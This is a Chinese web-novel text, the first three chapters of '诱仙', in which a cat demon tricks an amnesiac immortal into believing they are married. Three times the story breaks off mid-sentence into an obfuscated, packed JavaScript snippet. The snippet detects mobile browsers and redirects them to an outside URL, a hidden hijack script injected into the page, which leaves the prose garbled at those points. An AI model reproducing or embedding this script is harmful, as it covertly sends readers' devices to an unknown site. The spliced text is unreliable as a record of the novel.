《诱仙》 1. 第 1 章 “成日守着这颗破珠子,当真无聊至极。” 穿着银白盔甲的天兵喝得醉醺醺,手里握着酒葫芦,身子一歪瘫倒在树下。 枝繁叶茂的神树底下,白玉托盘盛着的幽蓝色灵珠便是天帝下令封锁在此的锁魂珠。传说这是围剿前天帝后遗留下来的一件灵物,在仙炉中如何都不能烧毁,只好放在神树下严加看守。那天兵喝得烂醉如泥,很快沉沉睡去,突然喉咙一痒,惊天动地的鼾声骤起。 刹那间,托盘剧烈震颤,锁魂珠被震得骨碌碌滚落在地,正巧树上两只神猴嬉戏打闹,其中一只灵巧地捡起锁魂珠藏进怀里,另一只急得大叫连忙追上。它们一路跑到天井边,两双毛茸茸的猴手争抢间,锁魂珠“扑通”一声掉进了深不见底的天井。小猴见大事不妙,一溜烟儿就跑得没影。 晨光熹微,锁魂珠直直跌落人间,砸进了一个黑咕隆咚的货箱里。骡车的轮子吱呀作响,车夫专心赶路,未曾发觉。 “大胆猫妖,还不现形?” 清冷月光下,楚柳的小脸皱成一团。 焦香酥脆的烤鱼刚放在嘴边,还没等她张大嘴巴一口咬下去,冰凉的剑锋已经抵在了后颈。 “这位仙君——” 夜黑风高,四下寂静,楚柳小心翼翼地回过头,只看到了一块猎猎飞扬的月白色道袍。她暗道不好,脸上却展露出一个无比单纯的笑容。 “我们之间…是不是有什么误会,烤鱼我付过钱了……” 楚柳咽了咽口水,委屈巴巴地示弱,水灵灵的大眼睛眨个不停。面前仙君冷哼一声,正要开口,她眼底却突然掠过一丝狡诈的光,身后猛地伸出尾巴,飞快缠住剑身向侧边一滚。 “砰!” 楚柳利落地爬起身,想化作猫形逃之夭夭,眼前却突然掠过一道白光,她的瞳孔骤缩成竖线,本能后仰——冰凉的剑锋擦着鼻梁劈下,“咣”一声钉入墙壁,在漆黑的夜色中激起一片火星。 “千年猫妖,果然狡猾奸诈。” 清冷的声线在身后响起,楚柳惊魂未定,甚至忘记收回尾巴。她乌黑的长发披在身后,头顶支棱着两只毛绒猫耳,尾椎骨处晃着条柔软灵活的尾吧,两手牢牢抱着一块油纸包,里头是喷香扑鼻的炭烤鲫鱼。 “啧。”楚柳咂咂嘴,尾巴躁动不安地甩了甩,反唇相讥道,“你趁我吃鱼时偷袭,你也狡猾奸诈!” 容贺渊不为所动,稳稳立于房檐之上,身后是皎洁如圆盘的明月。他剑眉星目,高挺的鼻梁下薄唇紧抿,抬手间有灵力波动荡开,浑身萦绕着冷冰冰的肃杀之气。 楚柳偷偷打量,看到他雪白道袍上绣着暗光流动的符文,腰间悬挂的,正是用来装妖丹的铜铃。 她的心猛地往下一坠,额头渗出冷汗,脸上还勉强假装出镇静的模样。 “仙君大人,”楚柳尾巴卷住横梁往后一拽,借力翻上屋顶,“您法力高强,长相嘛也是俊美无双,气质不凡,”她三两下在衣服上蹭干净油乎乎的手,尾巴尖在半空晃了晃,“而我只是区区一只小妖,抓了我对您的修炼也没什么助益。不如高抬贵手把我放了,就当行善积德,怎么样?” “助我修炼?你还不配,”容贺渊不屑地冷哼一声,指尖凝出符咒,灵力在掌心流转,“还不快把锁魂珠交出来?” 他狭长的丹凤眼微微眯起,神情冷漠高傲,丝毫没有把这只小猫妖放在眼里。楚柳看他掌心的灵力流转,脊背发冷,连连后退,“锁、锁什么珠……?” 十日前在人间逛晚市的景象在她脑海内一闪而过,楚柳顿时睁圆眼睛,心下了然,耳尖向下一压,凶巴巴地呲了呲牙,“我没有偷!” 那日正逢人间的立夏,傍晚街市正式热闹非凡。楚柳被焦香鲜美的烤鱼味吸引过来,又看见鱼店旁边的摊位正在卖金银首饰。她兴冲冲地挤到人堆里,一眼看出那些什么金项链、金手镯、耳环戒指全都是废铁做的!可黑心奸商还哄骗百姓说这是金店清仓,骗了满满一袋子钱。 楚柳路见不平拔刀相助,施展妖力偷了他的货箱和钱袋,银钱送给路边衣不蔽体的乞丐,至于货物也都尽数处理掉,只留下这一颗冰雪般晶莹剔透的蓝色珠子。可这神仙竟然不分青红皂白,问都不问就要动手抓她。 “那黑心商人在废铜烂铁上涂了一层金粉,就骗别人说是在卖金子,”楚柳说得振振有词,“我不过是在惩恶扬善,你冤枉好妖!” “妖就是妖,哪里分什么好坏。”容贺渊眼神冰冷锋利,薄削的嘴唇微启,“还不把锁魂珠交出来。” “我呸!难道神仙就都是好的,没有坏神仙吗?”楚柳心头火起,气得连哆嗦都不打了,恶狠狠地竖起尾巴,“就不给你!” 她话音未落,忍痛割爱将手中的烤鱼当作暗器,指尖掐诀唤出黑雾猛地飞掷出去,黑雾中骤然浮现数十道猫影。 容贺渊拧眉挥袖,烤鱼一瞬间被灵力震成齑粉。粉末飞散的瞬间,楚柳已踏着瓦片跃至他身后,化作猫形跑得飞快。 “哪里逃!” 容贺渊冷哼一声,锋利的长剑寒光一闪,飞身向前追赶。 眼瞅着那道冷冽的白光越来越近,楚柳耳尖抖得厉害,尾巴也卷成一团。她咬紧嘴唇一心一意逃命,千年妖力也不可小觑,竟真的把身后那道白光甩开了。 楚柳咧嘴一笑,猫耳欢快地抖了抖,“想抓我,再回去练几百年!” 可还没等她悬空的心彻底落下来,那道阴魂不散的白光突然又出现在了眼前,容贺渊挥剑直指她的面门,“还不束手就擒——” 锁魂珠随着那道剑气剧烈颤动,刹那间,丝丝缕缕的白光仿佛天罗地网从天而降,楚柳躲闪不及,顿时被困在了蛛丝般的网内。她化成人形,却半点妖力都施展不出,所有攻击都被这张巨网轻松化解。 “你、你!欺凌弱小!卑鄙无耻!” 容贺渊欺身上前,看着她因愤怒而满脸涨红的样子,微微勾起嘴角,“拿回灵珠是我分内之事,自然不遗余力。” 楚柳呲了呲牙,眸光一转,突然笑了,“仙君,你看后面,我的救兵来了。” 身后果然有异响,容贺渊眸光微暗,衣袂翻飞,回头看见两只路过的小乌鸦妖。两只小妖瞪大眼睛,连忙扑腾着翅膀,吓得“嘎嘎”大叫两声,齐刷刷地双腿一蹬晕了过去。 不足百年的修行,连妖气都微弱得很,容贺渊转过脸,神情嘲讽,“这就是你的救兵?”话音未落,楚柳突然变成一只狸花猫,猛地扑上了他的肩膀,张开嘴一口狠狠咬了下去。 没了妖气,她的牙齿自然也没什么杀伤力,容贺渊愣了一瞬,趁他分神,楚柳猛地一扑,甩尾扫过他的眼睛。 容贺渊下意识飞身躲开,楚柳却因用力过猛向下跌落,眼睁睁看到底下的万丈深渊。 “救命啊!——” 她瞳孔缩紧,想着死也要拉个垫背,尾巴用力缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚柳被看得浑身发毛,双腿都微微打颤,心里骂了一句这破神仙也不给她个痛快,在这看什么看!她忍着疼痛正要开口,却听到容贺渊声音冷清地问,“你是谁?” 楚柳惊愕地睁圆了眼睛。 她连装哭都忘了,呆呆地指指自己:“我?你问我的名字?……我叫楚柳,楚楚可怜的楚,弱柳扶风的柳。”她一边说着一边赶紧又挤出眼泪,哭得眼皮和鼻尖都红了一片,看着委屈极了,“仙君,你就饶了……” 她话还没说完,就被容贺渊冷冰冰地出声打断,“我呢?” “……你?”楚柳又一次呆住,嘴角抽动两下,“你什么你……” 容贺渊拧紧了锋利的眉毛,狭长的双眼闪过一丝恼怒,冷声道:“我是谁?” “啊?” 楚柳惊得张大嘴,半天都合不拢下巴,磕磕巴巴怎么都说不出一句完整的话。 “你……你是……” 失忆了?这混蛋神仙难道摔坏脑袋失忆了?还能这样! ——简直是妖祖显灵天赐良机! 楚柳乌黑的眼珠溜溜一转,顿时心生歹念,擦了擦眼尾快要干涸的泪水,小心翼翼开口。 “你是我的……夫君。” 2. 第 2 章 这山谷荒芜偏僻,她现在妖力还没恢复,只靠自己也没办法从这深山野林里走出来,要是这神仙真的失忆,不利用一下也太可惜了。 只是不知道她为什么会没了妖力……那张消失的网难道是这神仙的仙器?若是如此,那还能趁火打劫。 “夫君?” 容贺渊倒吸一口冷气,俊秀的眉毛仍是紧紧皱着,他上下打量着楚柳,眼眸中仍是怀疑和困惑的神色。 “是啊,夫君,”楚柳最擅长演戏,立刻装出一副小鸟依人的样子,双手紧紧缠上容贺渊结实劲瘦的腰,一头拱进他的怀里,“呜呜呜,我好害怕,还以为再也见不到你了……” 容贺渊的衣服上有淡淡的玉兰花清香,楚柳猛吸一大口,抬起一张满是泪痕的脸蛋,委屈地瘪着嘴:“我身上好痛,都是为了救你才和你一起摔下来的,”她清澈的双眸浮起一层薄雾似的水汽,可怜兮兮地说,“你还不记得我了。” “……真的?” 容贺渊猝不及防被她抱住,正想要推开,听到这一番话却硬生生止住动作。他微微抿了抿嘴唇,缓和了神色,问道:“我们怎么会从悬崖摔下来?” 楚柳编瞎话都不用打草稿,眼底闪过一抹狡黠,张口就是胡诌,“因为有坏人追我们呀!”她又把脸贴回容贺渊的胸口,胡乱蹭了蹭眼泪,“天宫的白胡子老头想要拆散我们,说你和我一仙一妖,不能相恋……”她眼珠转了转,急忙补充,“但是你很爱我!唔,所以,你就不顾别人的阻拦,无论如何都要和我在一起,永远都不分开!虽然你现在摔坏了脑袋,但是我不会嫌弃你,也不会丢下你的!” 容贺渊低头看着她捏紧拳头气鼓鼓的模样,眉毛稍微舒展了一些,耳尖微烫,微不可闻地“啊”了一声。 楚柳说得有板有眼,听起来倒不像是假的,更何况,现在也只能听她的话。 容贺渊默不作声地思考片刻,又问:“如今你打算怎么办?” “现在的当务之急,当然是快点走出这个鬼地方了。”楚柳松开手,想要四处转转勘察地形,一动脖子又痛得“哎哟”一声。 她倒吸两口冷气,气得快要炸毛,要不是混蛋神仙封锁了她的妖力,自己又怎么会因为皮肉伤痛成这样! 可还没等她说出抱怨的话,容贺渊的手突然抚上了她的肩膀,“很疼吗?” “这不是废话吗……哎,你做什么,你,你在……” 楚柳一愣,感觉到对方的掌心正源源不断地输来灵力,像是温热的涓涓细流,四肢百骸顿时都舒服得仿佛被按摩了一番,伤口半点都不疼了。 “有没有好些?” 容贺渊收回手,神情平静地看向她,那张冷若冰霜的脸就算面无表情竟也十分好看,楚柳贪婪地咽了咽口水,目光充满崇拜:“好多了,谢谢……谢谢夫君。” “咳,”容贺渊被她盯得脸红,掩饰地轻咳一声,看向四周,“现在还不能上去。” 楚柳连忙叫喊道:“为什么!” “你既然说我们是被追杀至此逃命跳崖,那坏人一定是法力高强,此时也许正在上面守株待兔,”容贺渊眯了眯眼睛,“再加上我失去记忆,冒然出现只会送死。” 楚柳后悔恨不得把肠子掏出来揉揉那上边儿的淤青,这下知道什么叫搬起石头砸自己的脚,她支吾半天反驳不出一句,突然意识到什么,瞳孔缩成竖线,试探地问道:“你既然失忆,怎会还知道如何给我疗伤?” 难道是装成失忆?——不可能,如果他没有失忆,此刻自己早就没命在了。 “我只是想让你能不那么痛,”容贺渊诚实地说道,“自然而然就……” 原来是这样,楚柳“喔”了一声,胸口胆战心惊的怦怦声还没有平复,又在心里胡乱想着,要是能记得怎么解开她妖力的束缚就好了,那她自己也能爬上去,根本不需要臭神仙帮忙。 “至于其他仙术,我也不确定能否全部施展。” 容贺渊耐心地向她解释,楚柳倒也想不出什么反驳的理由,垂着脑袋道,“好吧,我知道了。那你说,我们现在怎么办?总不能一直躲在这里。” 容贺渊微微蹙眉,“我们先找个地方躲起来,等到我恢复一些记忆,你身上的伤彻底好了,再离开这里,如何?” “那就……听你的。”楚柳别无选择,瓮声瓮气地循循善诱,“但是你记得,不管发生什么,第一件要紧的就是保护好我。” 容贺渊颔首承诺道:“好。” 楚柳撇撇嘴,仍是不太乐意,暗戳戳地想着等她找到办法恢复妖力,一定要跑得越远越好! 天空晴朗,日光充沛。他们沿着山路漫无目的地走了一会儿,微风中携着清新的草木香气。楚柳不断想着该怎么圆谎,在心里杜撰出了好多个缠绵悱恻的爱情故事。 可是容贺渊却什么都不问,只一心一意走路,楚柳闷得无聊,自顾自编故事给他听。 “我们两个是一见钟情!就是那种,茫茫人海,你看到我,我也正好看到你,然后我们就,唔,私定终身,不离不弃。” 虽然容贺渊什么都不记得,但是楚柳口若悬河,他听得倒也认真。 “还有一件事,你没有告诉我。”容贺渊停下脚步垂眸看她,低声问道,“我叫什么名字?” 楚柳愣住,无辜地眨巴着眼睛,尴尬地笑了一声,“是哦,忘记告诉你这个了……” 她在心底啊啊大叫,臭神仙,我怎么知道你叫什么,你干脆就叫“全天下最可恶的臭神仙”好了。 “你叫,”楚柳看着他一身月白的道袍,还有俊秀的五官,脱口而出道:“小帅。” 容贺渊眼角抽搐,沉默许久,显然是对这个新名字有些不能接受。 楚柳心虚地“嘿嘿”两声,但是看到仙君吃瘪,她的心情好得不得了,明知故问道:“夫君,你不喜欢吗?” 有了前面的那个名字,“夫君”的称呼听起来倒是顺耳许多。容贺渊掀起眼皮,忽然福至心灵,声音低哑地唤道,“柳柳。” 楚柳听到这两个字,好像脑内过了一道激烈的电流,头顶“唰”地长出两只毛绒绒的猫耳朵,容贺渊看着她的耳朵,下意识抬手摸了上去。 “你、你干嘛……” 楚柳一双水灵灵的大眼睛睁得溜圆,她长这么大还没被这样明目张胆地摸过耳朵!可是不知道为什么,想收却收不回来了。 “很软,很可爱。”容贺渊声音平静地做出评价,又问,“我不可以摸吗?” 楚柳被夸得一愣一愣,竟然生出几分骄傲来,“当然可以了!你是我夫君嘛,”她歪头凑近,软乎乎的猫耳几乎要蹭到他的下巴。“你摸,你摸摸。” - 日光温润,湛蓝的天空浮动着大团棉花糖似的白云。楚柳跟着他走了不知道多远,这悬崖底下连个人影都没有,更别提神仙妖怪了。他们好不容易才看到一处村子,楚柳极其喜欢人间的烟火气,拉着容贺渊的手直奔进去,村庄虽然破落,但有庄稼自给自足,里面的百姓安居乐业,像是个世外桃源。 “这儿十几年没来过外人,”王大爷摇着蒲扇坐在村口的板凳上,神情惊讶地看着他们俩,啧啧称奇,“后头的山上有老虎,还有狼,你们俩是怎么翻过来的?” 楚柳讪笑两声,自然没办法解释他们从悬崖摔下来还毫发无损的事,只说两人无家可归,又在深山野林里迷了路,走好久才找到有人烟的地方。 “哎,如此可怜,”王大爷看他们俩手无寸铁,又都不像是坏人,爽朗地说,“既然来了就在这里住下,前边儿就有个空房子,明天我带人去帮你们修修。” 王大爷热情好客又老当益壮,当天就带着村里几个年轻人把那间空房子打扫了出来。李大娘还从家里拿了一些大米和蔬菜,修葺房子时又断断续续有其他村民来看热闹,都没空着手,短短一个下午,原本破破烂烂的旧屋就有了小家的样子。 往后几日的生活风平浪静,容贺渊逐渐接受了“夫君”这一身份,他虽然失去了记忆,但很多基础仙术只要挥动衣袖就能轻松施展。 他能徒手劈开碗口粗的树木,把房间收拾得一尘不染干干净净,还会用草叶变出家具和衣服,又能找到林深处找到鲜甜可口的浆果,甚至还会用石子摆出聚灵阵帮助楚柳疗愈内伤。 “夫君,你真是太厉害了,”楚柳躺在软绵绵的被子里,舒服地打了个滚,“和你在一起好幸福哦。” 她穿着花瓣幻化出的粉红色襦裙,衬得一张脸白里透红,黑润的双眼璀璨如星辰,盯着容贺渊,情真意切道,“我最喜欢你了。” “咳。” 容贺渊脸颊微微发烫,谦虚道:“这都是我分内之事。” 知道就好。 楚柳露齿一笑,却故意装作体贴的样子,谎话也信手拈来,“你不用太辛苦了,休息一会儿嘛,不然我会心疼。” “不辛苦。” 容贺渊说着,嘴角微微向上弯起,脸上的神情像是若有所思。楚柳怕他记起什么,连忙爬下床凑过去亲昵地挽住他的胳膊,“你在想什么呀?” “我在想,”他的目光滑向楚柳,眼神中闪过一丝不易察觉的温柔,“就在这里和你过平常日子,就算不恢复记忆也很好。” 楚柳却像是听到了什么极其恐怖的事,笑容也凝固在脸上,心里有个声音在大叫,不好,一点都不好!我才不要和你在这鸟不拉屎的地方“永远”! 她用力掐了掐手心,脸上的神情有些不自在。 容贺渊睫毛低垂,定定地看着她,疑惑道:“柳柳,你不想和我永远在这里吗?” “想啊,当然想了,”楚柳管理不好表情,连忙低下脑袋,从头顶蹦出两只猫耳朵送到他的手心底下,“只要能和你一起,我在哪里都开心。” 她密长的睫毛直颤,心脏也吓得怦怦跳。还好容贺渊什么都不曾怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691645|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,楚柳松了一口气,骄傲地想着她说瞎话的本领还是这么强,哄得神仙都鬼迷心窍。 窗外铺满温暖的橘红色霞光,楚柳的肚子突然咕噜叫了一声,容贺渊立刻起身:“我去给你拿果子吃。” “别!” 楚柳连忙抓住他的袖子,小脸皱成一团,“我不想再吃果子了。” 她好几天不见荤腥,整个人都恍惚了,今晚说什么也不能再吃那酸溜溜的浆果,就算把整座山翻过来,她也必须吃到肉。 “那你想吃什么?”容贺渊对她十分有耐心,说话也再也不见从前冷冰冰的样子。 楚柳仰起脸可怜巴巴地看着他:“我想吃鱼。” 她软乎乎的猫耳朵抖动两下,提醒容贺渊,小猫就是要吃鱼的,只有吃到鱼了才能给他摸耳朵。 “好,”容贺渊宠溺一笑,“我去抓鱼。” 楚柳顿时欢天喜地地从床上蹦起来,“我也要去!” 村子附近有一条小溪,在阳光下泛着粼粼波光,清澈见底,游动着灵活的小鱼。 容贺渊正要施法,楚柳却一把拦住,喊了一声“让我来”,迫不及待地向前一跃跳进溪水里,“哗啦”溅起了一片水花。 她在水里灵活扑腾,再起身时得意洋洋地喊道:“接着!” 容贺渊接住她扔过来的活蹦乱跳地几条鱼,又见楚柳一个翻身,“噗通”再次落进水中。 她抓得尽兴了才上岸,看到岸边的小鱼堆成了粮仓一样的小山,满意极了。 “怎么样,”楚柳湿漉漉地爬上来,甩了甩滴水的黑发,忽然凑近他,双眼发亮地问,“我抓鱼的本事,是不是天下第一?” 她密长的睫毛还挂着水珠,猫眼睁得滚圆,模样娇憨可爱。只要是说到和鱼有关的事,楚柳的笑容就无比真诚灿烂。 容贺渊配合地点头,目光温柔,宛如秋日和煦的阳光,“是,很了不起。” “夫君,我们再多抓一些,晾成小鱼干好不好?” 楚柳回眸一笑,可爱柔软的猫耳朵兴奋地抖动了两下,容贺渊点头应了声,“好。” 他垂下密长的睫毛,翻转手掌集中注意力,指尖凝出金色的一道灵光,挥动衣袖指向湖面,只听“砰”的一声巨响,顿时像是水下引爆了一颗炸弹,下一秒几十只条小鱼都飞上岸,像是下起一场倾盆大雨般地劈里啪啦砸下来。 起初楚柳还兴高采烈地撑起裙子去接不断掉下的鱼,但是鱼越来越多,有几只还砸在了她的脑袋上,她痛得“哎哟,哎哟”直叫,连忙喊道:“不要了!我不要鱼了!” “嗯?”容贺渊停下手,看着一地蹦蹦跳跳口吐白沫翻出眼白的鲫鱼,疑惑道:“柳柳,你不是想要多晒点小鱼干吗?” 楚柳深吸一口气,拼命忍住想要骂他的冲动,努力展露出一个甜甜的笑容来,“是很想吃……但是我怕你辛苦嘛。” “不辛苦的,”容贺渊连忙说,“看到你开心,我也觉得开心。” 这个神仙失忆了怎么还啰里吧嗦的!唠叨个没完! “是,我知道,夫君对我最好……” 楚柳摇头晃脑地胡言乱语,这些话她现在说起来被他微凉的手心握住,下意识想要抽出手,却在对上那一双温柔如秋水般的眼眸时停住动作,一时竟有些移不开视线,手也乖乖被他握住。 不知道为什么,心脏跳得有些快,好像在打鼓一样。 “嗯,我们柳柳最厉害了,”容贺渊嘴角含笑,回身指了指地上散落的鱼,宠溺地说道,“这些都给你做成小鱼干,够你吃好久。” 提起小鱼干,楚柳顿时精神百倍,连忙重重点头,“够了够了!我最喜欢吃小鱼干……不对,我最喜欢的是烤鱼,香喷喷,外皮酥脆,肉质鲜嫩多汁,美味无比的烤鱼。” 楚柳说着,肚子响亮地“咕噜”一声。 容贺渊挥动衣袖,眸光专注,指尖凝出一道灿烂的金光,灵力顿时如游龙般破空而来,“咻”的一声在地上凭空生出一团熊熊燃烧的焰火。 楚柳开心极了,抱住容贺渊,情不自禁贴到他脸边亲了一口,“夫君,你真的是太厉害了。” 容贺渊耳尖微红,别过脸去,那张五官俊秀精致的脸一点点从白皙到红润,像是一颗逐渐熟透的番茄。 他的眼眸幽深,凝视着楚柳泛着水光的面容,抬起手抚摸她湿漉漉的长发,“柳柳,你若是喜欢,”楚柳漆黑如瀑的长发在他指尖的触碰下慢慢变干,连同浸湿后贴在身上的衣裙也恢复原状,“我每一天都给你抓鱼吃,你想吃多少,我就抓来多少。” 时间最好听的情话莫过于此。 楚柳眼睛发亮,情不自禁地滚动喉咙,如果这是真的,她就一定会爱上这个混蛋神仙了。 可惜是假的。 楚柳心里越是嘲讽,脸上的笑容就越是甜美如蜜糖,她笑眯眯地说:“好呀,夫君,那我一定是全天下最幸福的小猫妖啦。” 3. 第 3 章 烤鱼的火候掌握得正好,虽然没有像在店铺里用青花椒腌制过,又刷了一层层秘制酱料那样喷香,但也是酥脆美味。楚柳一连吃了三条,肚子都鼓起来了,餍足地打了一个饱嗝,又虎视眈眈地盯着剩下的鱼,双眼放光。 “这些晒在太阳底下以做小鱼干,到时放口袋,想吃就拿一条。” 她的快乐简单又纯粹,容贺渊也像是被感染到,轻抿嘴角,温润的双眸含着淡淡的笑意,“你若喜欢,明日我们再来抓些。” “那可不行,小溪又不会自己长出鱼来,一次抓光了,以后就没得吃了,这是娘亲告诉我的。” 楚柳说得认认真真,没有留意容贺渊眼眸中的笑意越来越深。她摸着肚子站起身,豪横地一挥袖子:“吃饱了,回家!” “好,回家。” 两个人先是一前一后地走着,楚柳心情好,向后递了一只手,立刻被牢牢握住。 月光皎洁如水,繁星闪烁,夜风温柔地抚摸过脸颊,就像是……很轻的吻。容贺渊抬起手摸了摸脸颊,喉结滚动,似乎心跳也快了些。 两人回到屋内,楚柳拉紧窗帘遮住外面漆黑的夜色,一双浑圆湿润的猫眼眨巴眨巴,眼珠一转,又想到了个坏主意。 她慢吞吞地解开腰带,又摘下簪子,乌黑柔软的长发披散在肩头,衬得一张小脸只有巴掌大,那双水润眼睛更是楚楚动人。 “夫君,夜深了,”她故意捏着嗓子,发出矫揉造作的声音,媚眼抛得眼皮都快抽筋,“今晚,我们不如一起……” 她话音未落就看到容贺渊的脸色一沉,蹙着眉毛道:“柳柳,衣服穿好,夜深霜重,当心着凉。” 楚柳眼角一抽。 还没等她反应过来,容贺渊已经起身走到了屋外,“我来守夜,你就放心睡吧。” 放心个头啊! 楚柳悔恨地直跺脚,又冷得直打了两个喷嚏,都怪她说他们俩是被坏人追赶到此……容贺渊时刻提防着他们被发现踪迹,每晚都要到外面守夜,说什么也不肯和她同床共枕好好睡觉。 她还想趁机搜身,在这神仙身上找到解开束缚她妖力的仙器,好把这破网给解开呢! 楚柳郁闷极了,双腿一蹦倒回床上,翻来覆去打了好几个滚,咬牙切齿骂了混蛋神仙几百遍,才不情不愿地闭上了眼睛。 她睡得极不安稳,又梦到了以前的事。那时她在妖盟做的都是些小喽喽的工作,经常和狐妖阮眠一起聊八卦。她们说得最多的就是这几百年来天宫如何派神仙捉妖,要在焚炉仙鼎中被烧七七四十九天才能练成一颗仙丹,当真是生不如死。 那时阮眠就吓唬她,遇到危险就算是自毁魂魄,也一定不能落入神仙手里。 明亮皎洁的月光透过窗户倾泻到屋内,桌上安安静静的锁魂珠突然闪烁了两下,冰蓝色的光芒澄澈明亮,宛如一只晶莹剔透的眼睛。 窗外,黑沉沉的天幕好像一床厚重的被子,白云被风吹成丝丝缕缕的形状,像是银色的秀发。 容贺渊端坐于树上,沉静的表情宛如突然出现一条裂缝,漆黑的双眸猛地睁开,眉头紧皱。 脑海中闪过的画面仿佛真实发生过,雄伟肃穆金碧辉煌的天宫大殿,自己单膝跪于冰冷的玉石之上,听到上方传来一道不怒自威的声音,“你是天宫的执法神君,你的任务,就是杀光全天下的妖。” 短暂的记忆到这里戛然而止,容贺渊下意识握紧了拳头,难道自己是因为违背了谁的命令,所以才被追杀至此? 他眺望着远方,仍然是对过往的记忆一片茫然,无论如何都想不起来自己是谁。 起初他也怀疑过楚柳会不会在骗他,但是今天……容贺渊抬起手抚摸自己的侧脸,似乎还能感觉到对方柔软的嘴唇贴在他的皮肤上时,那种像是过了一道电流般酥麻的触感。 容贺渊又觉得脸颊微微发烫,放下手轻咳了一声。 一定是因为喜欢她,才对她的吻有这样的反应吧。容贺渊在夜风中温柔又笃定地想,她没有骗我。 日子如流水般平静地流淌过去,转眼间,他们已经在这村庄住了半个多月。 容贺渊的记忆还未曾恢复,但他却好像根本就不在意能否记起过去的事,似乎只想和楚柳做一对平凡安稳的小夫妻。闲来无事还会和王大爷去庄稼地浇水施肥,到了晚上清蒸鱼红烧鱼糖醋鱼换着做,每天都不重样。 楚柳觉得日子过得真是一点盼头都没有了。 但是,有些时候,她又会像做贼似的感到一种偷来的幸福。极力忽略却仍然生根发芽的,安稳的幸福。 夜深人静,今晚的天空微微阴沉,月亮也被厚厚的云层挡住。窗外漆黑一片,看不到半点光亮。 屋内燃着一只红蜡烛,楚柳抱着被子窝在床上,夜间下了小雨,她死缠烂打地让容贺渊从树上下来,不叫他守夜。 现下仙君正睡在她旁边,中间隔着的距离足够再躺下一个王大爷和李大娘。不知道从什么时候起,楚柳想要容贺渊和她睡在一张床上,惦记的却不是要在他身上偷东西,而是只希望这个人能陪在自己身旁。 哪怕不用亲密无间地搂搂抱抱,只要是知道他在就好。 微凉的夜风透过窗隙吹进屋内,恐惧像是巨浪一样迎头打来,楚柳心中突然警铃大作,脊背滚过一道寒颤。 ——这可不对!她明明是说谎的那个,怎么像是要把自己也骗进去了! 不行,绝对不能这样。 楚柳在黑暗中忧心忡忡地睁开眼睛看向天花板,容贺渊呼吸均匀和缓,整个房间安静得像是漂在溪水的一叶小舟,可她却感觉舌尖尝到一点苦涩。 她不知道这谎能撒多久,如果再不跑,也许就没机会离开了。 - 楚柳无声无息地长长叹了口气,她只想做个无忧无虑的小妖,自由自在,没有拘束,而不是一辈子困在这荒山野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691646|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岭,困在……谁的身边。 楚柳深吸口气直起身体,转过头看着容贺渊宁静的睡颜,目光流露出几分恋恋不舍。她小心翼翼地爬起身,一骨碌轻快灵活地翻出窗户。 “仙君大人,害你和我一起掉下悬崖,是我不对,”楚柳站在院子里垂下脑袋,双手合十地虔诚道歉,“但你当时想要取我性命,你也不是什么好东西……不是不是,”她咬了咬舌尖,闭上双眼重新开口,“你这段时间对我处处照顾,给我抓鱼,每晚守夜保护我,真是太好了。可是我不能再留在这里了,万一哪天你恢复记忆,一定会恨死我的,还会要我的性命……虽然我已经活了一千年,但是还没活够呢,我不想被练成仙丹。” 最后一个字的声音消散在夜色中,四下寂静的只能听到风声,她的心突然空空的,眼眶也有些干涩。 月光穿过树叶间隙,在她身上洒下斑驳光影。楚柳深吸一口气,抬起手用袖子蹭了蹭眼睛,转过身毅然决然地向着悬崖走去。 她相信,就算没有妖力——她也一定可以爬上去! 天色越来越亮,太阳都快升出来了,楚柳磨磨蹭蹭,连一半都没爬到。她气喘吁吁地停在半山腰的一块大石头上,累得腰酸背痛,捶捶肩膀又揉揉腰,抬头往上望时突然看见了云雾翻涌纸上,是一道若隐若现的青绿色屏障。 “这是——结界?” 楚柳心下咯噔,登时瞠目结舌,“这,这破地方怎么还用结界包起来了!” 这岂不是无论如何都爬不出去了! 清晨的阳光顺着树叶间隙落下,楚柳费力地仰起头向上看,没有留神脚下。她忽然觉得双腿一软,顿时踉跄着后退半步,却不曾想崖边看似牢固的石头,一踩上去就裂开两半。 “救命!——” 风声呼啸,她身体失重向后仰去,像鸟类扑腾翅膀似的挥舞双臂极力想保持住平衡,却还是一脚踩空。楚柳惊惧到连尖叫声都没来得及发出,大脑一片空白,只剩三个字,“完蛋了!” 下一秒却是天旋地转,熟悉的玉兰花香充斥在鼻息,腰间被一只结实有力的手臂紧紧抱住,楚柳听到耳旁传来低沉稳重的声音,“别动,抓紧我。” 容贺渊温热的呼吸喷在她的侧脸,楚柳顿时觉得胸腔内一颗心跳得快如擂鼓,两人落到平地,劫后余生,楚柳仍是惊魂未定。 容贺渊神情阴沉,脸色也不算好,低声问:“怎么来了这里?” 微风轻轻吹起楚柳额前的碎发,她不敢抬头,更不敢看向那双眼睛。 “说话。” 楚柳浑身一颤,脚在裙子底下缩了缩,硬着头皮故作轻松地说道:“我就是在屋子里太闷,所以出来散散心……” 